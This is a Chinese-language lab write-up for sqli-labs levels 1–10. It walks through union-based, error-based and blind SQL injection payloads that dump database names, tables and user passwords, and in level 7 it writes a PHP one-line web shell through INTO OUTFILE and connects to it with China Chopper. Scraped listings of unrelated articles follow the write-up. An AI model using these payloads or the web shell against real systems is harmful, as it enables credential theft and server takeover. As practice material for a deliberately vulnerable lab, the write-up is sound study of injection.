sqli-labs1-10基础掌握
00x01基于错误的GET单引号字符型注入
- 首先and 1=2判断是否为数值型sql注入,页面正常,不是
- 然后’测试,发现页面报sql语句错误,存在字符型sql注入

- 猜测参数为单引号闭合,用注释语句将后面的引号注释掉,先尝试#号,页面还是不正常,再尝试--+,发现页面正常显示,那么可以插入sql语句了

- Order by查询字段数,查出来是3
- Union select 1,2,3发现不能回显出指定的1,2,3,因为指定位被id=3的数据占满了,因此将参数改为一个数据库不存在的id值-1,就有回显位了。再次插入union select 1,2,3发现2,3出现在页面上,说明这两个显示位可以被利用;

- 爆当前数据库union select 1,2,database()

- 爆security当中的表,因为回显位有限,因此字段都加上group_concat(),让其显示在一个回显位上,union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=”security”

- 找到敏感表名users,爆出users中所有的字段union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=”security”and table_name=”users”

- 发现敏感字段user,password,爆出字段内容union select 1,group_concat(user),group_concat(password) from users
00x02基于错误的get数值型
1.输入?id=3 and 1=2报错,and 1=1不报错,说明此处是数值型注入
2.直接插入sql语句,后面查询过程跟第一关相似。
00x03 基于错误的-GET单引号变形字符型注入
1.输入?id=3’报错,从报错内容看出可能存在)闭合,那么试试’)--+发现正常显示,说明此处是用(‘’)的方式闭合字符串的字符型注入
2.sql查询爆数据详细见第一关。
00x04基于错误的GET双引号字符型注入
1.输入?id=3’不报错,输入”报sql错误,错误信息里面看见有括号闭合,那么加上“)--+发现页面正常显示,说明这是用(“”)闭合的字符串型注入
2.后面操作详见第一关。
00x05 双注入GET单引号字符型注入
- 当输入?id=3时发现没有显示位,?id=-3也没有

- 因此无法使用联合查询注入
- 接着我们在url中输入?id=3’页面出现sql报错语句,加上--+,页面正常显示,说明是单引号闭合字符型注入。

- 页面出现sql语句报错,在这里我们可以使用一种新的注入方式:报错注入
三种报错注入常用的语句:
(1)通过floor报错:
and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload为想要插入的sql语句
该语句将输出字符长度限制为64个字符;
(2)通过updatexml报错
and updatexml(1,payload,1)
该语句的输出长度限制为32位,
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效;
(3)通过ExtractValue报错
and extractvalue(1, payload)
and extractvalue(1, concat(0x7e,payload,0x7e))
输出字符长度限制为32位
6.这里我们使用第一种floor报错语句进行sql注入
?id=3’and (select 1 from (select count(*),concat((select database()),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

这里的数据库则是security,而不是security1,这个1是floor报错语句中输出的一部分
7.查询所有数据库时
?id=3’and (select 1 from (select count(*),concat((select group_concat(schema_name) from information_schema.schemata),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

这里发现页面提示我输出信息超过一行,但我们已经使用了group_concat函数,说明这里数据库名组成的字符串长度超过了64位,所以我们需要放弃group_concat函数,而使用limit 0,1来一个个输出
limit 0,1 表示输出第一个数据。 0表示输出的起始位置,1表示跨度为1(即输出几个数据,1表示输出一个,2就表示输出两个)
7.运用limit 一个一个的输出
?id=3’and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

8. 下面我们更该我们的payload一个个的查询我们要找的数据即可,这里不再演示
00x06 双注入GET双引号字符型注入
与第5关类似,只不过这一关使用的是 ""的方式闭合字符串
我们只需要将?id=2' 改为 ?id=2"即可
其余过程不再赘述,请参考第五关
00x07 导出文件GET字符型注入
1. 当我们输入?id=1'页面报错,说明可能存在单引号闭合注入

2. 当我们输入?id=1' --+页面显示依然不正常,证明不是单引号闭合,尝试’)依然不正常,尝试‘))--+页面显示正常

3. 想了一下,可能会有很多小白和我一样,对数据库file权限和 into outfile这个命令比较陌生,所以在这里科普一下file权限和into outfile这个函数。
数据库的file权限规定了数据库用户是否有权限向操作系统内写入和读取已存在的权限
into outfile命令使用的环境:
我们必须知道,服务器上一个可以写入文件的文件夹的完整路径
4.取mysql的目录E:\phpStudy\PHPTutorial\MySQL\data,然后使用
union select 1,2,3 into outfile "E:\\phpStudy\\PHPTutorial\\MySQL\\data\\chao.php"尝试写入文件

文件写入成功
需要注意的是利用数据库file权限向操作系统写入文件时, 对于相同文件名的文件不能覆盖,所以如果第一次上传chao.php,下次在上传chao.php,就是无效命令了,也就是新的chao,php中的内容并不会覆盖,之前的chao.php
5.可以写入文件到数据库,那么我们可以写入一句话木马上传到数据库中
?id=-3')) union select 1,"<?php @eval($_POST['chopper']);?>",3 into outfile "E:\\phpStudy\\PHPTutorial\\WWW\\123456.php" --+

上传成功
6.连接菜刀
7.不能写入的话进入mysql命令行,show variables like '%secure%';查看当前的secure-file-priv 是什么值,我们把导入的路径改为上面的值就可以了
或者将my.ini中的secure-file-priv的值改为’’.
00x08 布尔型单引号GET盲注
1.?id=2' --+ 页面回显正常,不赘述了,这里是单引号字符型注入
2.页面没有显示位,没有数据库报错信息。
我们先尝试一下是否有file权限
http://127.0.0.1/sqli-labs/Less-8/?id=2' union select 1,2,3 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\88888.php"--+
上传成功
当然我尝试下了下布尔和时间盲注,都是可以的
3.盲注涉及函数:
length(str):返回字符串str的长度
substr(str,pos,len):将str从pos位置开始截取len长度的字符返回,需要注意的是这里pos的是从1开始的
mid(str,pos,len):和substr()类似
ascii(str):返回字符串str最左边的acsii码(即首字母的acsii码)
ord():同上,返回acsii码
left(str,len):对字符串str左截取len长度
right(str,len):对字符串str右截取len长度
if(a,b,c):条件判断,如果a为true,返回b,否则返回c
4. 盲注有个固定式:and ascii(substr(A,1,1))>B,或者and if(ascii(substr(A,1,1))>B,1,0),这里的A通常是一个select语句,B则是字符或数字的ascii码,他们的中心思想都是通过substr等截取函数以二分法的形式查询逐个匹配想要的信息,这个过程通常都很耗时,所以建议直接写个盲注脚本来跑
00x09 基于时间的GET单引号盲注
1. 时间型盲注和bool型盲注应用场景不同之处在报错的返回上,从less-8我们知道,输入合法时他会返回正常页面“You are in......”,而非法输入时他没有返回任何东西,于是,我们可以根据这个特点跑盲注,通过他不同的返回页面来判断我们匹配的字符是否正确,而在less-9中合法输入与非合法输入它都返回一个页面,就是You are in.....
2. 这样,我们就不能根据他页面的返回内容来判断匹配结果了,因此我们需要用延时函数sleep()对两种输入进行区分,可以构造如下语句:
and if((ascii(substr(database(),1,1)))>114,sleep(5),0)
这里的意思是,如果数据库名首字母的ascii码大于114,那么执行sleep(5),延时5秒,此时标签栏会变成缓冲,于是,我们就可以判断匹配的结果了,盲注脚本与less-8类似,只需要加入sleep函数即可。
3.判断时间型盲注语句:’ and sleep(5)%23
这里用到的是?id=1’ and sleep(5)--+
F12看网络缓存时间,超过5秒就存在时间型盲注
00x10 基于时间的双引号盲注
1.输入’和”都显示正常,尝试?id=3’ and sleep(5)--+,没什么延迟,尝试” and sleep(5)--+延迟时间变为6秒多,说明是双引号的时间型盲注。

sqli-labs1-10基础掌握的更多相关文章
- spring boot(10) 基础学习内容
A Spring boot(10) 基础学习内容 B SpringBoot(16) 基础学习内容
- 数据结构和算法(Golang实现)(10)基础知识-算法复杂度主方法
算法复杂度主方法 有时候,我们要评估一个算法的复杂度,但是算法被分散为几个递归的子问题,这样评估起来很难,有一个数学公式可以很快地评估出来. 一.复杂度主方法 主方法,也可以叫主定理.对于那些用分治法 ...
- OpenShift-OKD3.10基础环境部署
单master + 双node 1.主机角色划分 #采用双网段部署 0 网段是opesnshift内部通信IP,1 网段是连接外网通信地址 #master master.example.com 192 ...
- python+java蓝桥杯ACM日常算法题训练(一)10基础题
目录 1.简单的a+b 2.第一个HelloWorld程序! 3.三个数最大值 4.密码破译 5.母牛的故事 6.7.8.9.10 @(这里写自定义目录标题) 算法题训练网站:http://www.d ...
- 1.10 基础知识——GP3.1 制度化 & GP3.2 收集改进信息
摘要: GP3.1是要求建立组织级的关于该过程的制度.标准.模版等全套体系,要求覆盖该PA所有的SP和GP.GP3.2 体现的是持续改进,每个过程都应该收集相应的改进信息. 正文: GP3.1 Est ...
- 详细了解 Linkerd 2.10 基础功能,一起步入 Service Mesh 微服务架构时代
Linkerd 提供了许多功能,如:自动 mTLS.自动代理注入.分布式追踪.故障注入.高可用性.HTTP/2 和 gRPC 代理.负载均衡.多集群通信.重试和超时.遥测和监控.流量拆分(金丝雀.蓝/ ...
- 自学PYTHON分享 --基础1
1.python2和python3的区别: 宏观上:python2 与 python3 区别: python2 源码不标准,混乱,重复代码太多, python3 统一 标准,去除重复代码. 2.pyt ...
- JAVA核心技术I---JAVA基础知识(常量设计和常量池)
一:常量---一种不会修改的变量 –Java没有constant关键字 –不能修改,final –不会修改/只读/只要一份,static –方便访问publicJava中的常量 –public sta ...
- day 01 python基础
1.计算机历史 2.python历史 宏观: python2和python3的区别: python2 源码不标准,混乱,重复代码过多 python3 统一标准,去除重复代码 3.python环境 ...
- Windows 10 神州网信版
一.版本介绍:官网链接:http://document.cmgos.com/release_notes/release_notes_V0_H 下载链接:请自行百度Windows 10 神州网信政府版( ...
随机推荐
- Java代码优化实践
1. 尽量指定类的final修饰符 带有final修饰符的类是不可派生的.指定一个类为final,则该类所有方法都是final.Java编译器会会找机会内联所有否final方法,这样能够使性能平均 ...
- 轮播组件/瀑布流/组合搜索/KindEditor插件
一.企业官网 ### 瀑布流 Models.Student.objects.all() #获取所有学员信息 通过div进行循环图片和字幕 1.以template模板方法实现瀑布流以列为单位 ...
- Nuget打包没有注释显示
1.选中项目-->属性-->生成-->选中 XML文档文件(xml路径和该项目相同) 2.选择生成序列化程序集:自动/开
- 广度优先搜索BFS---求出矩阵中“块”的个数
题目: 给出一个 m x n 的矩阵,矩阵中的元素为0或1.如果矩阵中有若干个 1是相邻的,那么称这些1构成了一个“块”.求给定的矩阵中“块”的个数. 0 1 1 1 0 0 1 0 0 1 0 0 ...
- win10下GO的环境配置
目录 问题描述 环境变量配置 问题描述 win10 下配置 GO 语言的运行环境,主要是环境变量的设置 环境变量配置 在windows的PATH变量中添加go的可执行文件所在的目录: PATH=D:\ ...
- 通过vsphere给esxi添加本地硬盘
公司ESXi服务器的硬盘空间不够使用,现在新加了一块硬盘在ESxi服务器上.在服务器上添加完硬盘后,在Vsphere上是看不到新加硬盘的. 下面我们来通过虚拟机模拟该情况,先添加一块硬盘.如下图: 在 ...
- 【MVC+EasyUI实例】对数据网格的增删改查(上)
前言 此案例是针对之前做的一个小例子的后台框架的修改,从以前的三层框架改为现在的MVC框架,也是做了一次MVC和EasyUI的结合,分为2篇文章来阐述. 界面如下: 点击"添加"按 ...
- CF #619 div.2
序 希望,不要还有一天像今天一样糟糕. T1 three strings 笔记本的google 炸了,读题可难受了 多组测试数据 我们的想法是,用string存字符串,若 对于任意的i,a[i],b[ ...
- Visionpro学习笔记(壹)
注册4年,第一次发了随笔.我的博客将主要涉及到visionPro软件的学习,labview数据采集方面的思考,c#及VS的学习 此随笔系列主要是关于VisionPro(以后简称VP)的学习及使用. 近 ...
- Linux中为什么执行自己的程序要在前面加./
前言 在Linux中,我们执行内置命令时,直接输入命令名称即可,如: $ mv a b #将a重命名为b 而在执行自己写好的程序时,却要带上./,例如: $ hello hello: comm ...